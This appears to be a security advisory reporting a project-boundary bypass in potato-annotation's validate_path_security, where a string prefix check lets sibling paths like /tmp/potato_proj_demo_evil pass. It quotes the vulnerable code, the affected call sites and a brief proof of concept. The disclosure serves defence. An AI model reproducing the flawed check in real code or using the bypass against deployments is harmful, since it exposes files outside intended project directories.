potato-annotation has a Project-Boundary Bypass
Summary
validate_path_security uses string-prefix containment (startswith) for boundary checks. This allows paths that are outside the intended project directory but share its prefix string (e.g., /tmp/potato_proj_demo_evil/... vs /tmp/potato_proj_demo) to be accepted.
Details
Affected source location (root cause)
File: potato/server_utils/config_module.py
Snippet (lines 370–373):
```python
real_path = os.path.realpath(normalized_path)
real_base = os.path.realpath(base_dir)
if not real_path.startswith(real_base):
raise ConfigSecurityError(...)
```
Snippet (lines 384–389):
```python
real_path = os.path.realpath(normalized_path)
check_dir = project_dir if project_dir else base_dir
real_check_dir = os.path.realpath(check_dir)
if not real_path.startswith(real_check_dir):
raise ConfigSecurityError(...)
```
startswith() is string-based, so /tmp/potato_proj_demo_evil/... passes when checked against /tmp/potato_proj_demo.
Confirmed affected call sites
File: potato/server_utils/config_module.py
1) validate_file_paths task_dir branch (line 2113)
```python
validated_task_dir = validate_path_security(task_dir, project_dir)
```
2) validate_file_paths data_files branch (line 2151)
```python
validated_path = validate_path_security(file_path, base_dir, project_dir)
```
3) validate_training_config training.data_file branch (line 2286)
```python
validated_path = validate_path_security(data_file, base_dir, project_dir)
```
PoC
```python
from potato.server_utils.config_module import validate_path_security
base = '/tmp/potato_proj_demo'
vuln = '/tmp/potato_proj_demo_evil/file.txt'
try:
print('inside=', validate_path_security('/tmp/potato_proj_demo/file.txt', base, base))
except Exception as e:
print('inside_error=', type(e).__name__, e)
try:
validate_path_security('/tmp/other_demo/file.txt', base, base)
except Exception as e:
print('baseline=', type(e).__name__, e)
print('trigger=', validate_path_security(vuln, base, base))
```
Impact
- Can allow unauthorized sibling-prefix file access outside intended project boundary.
- Can affect read paths (
data_files, training.data_file, base_css, header_logo) and output/path placement depending on configuration.
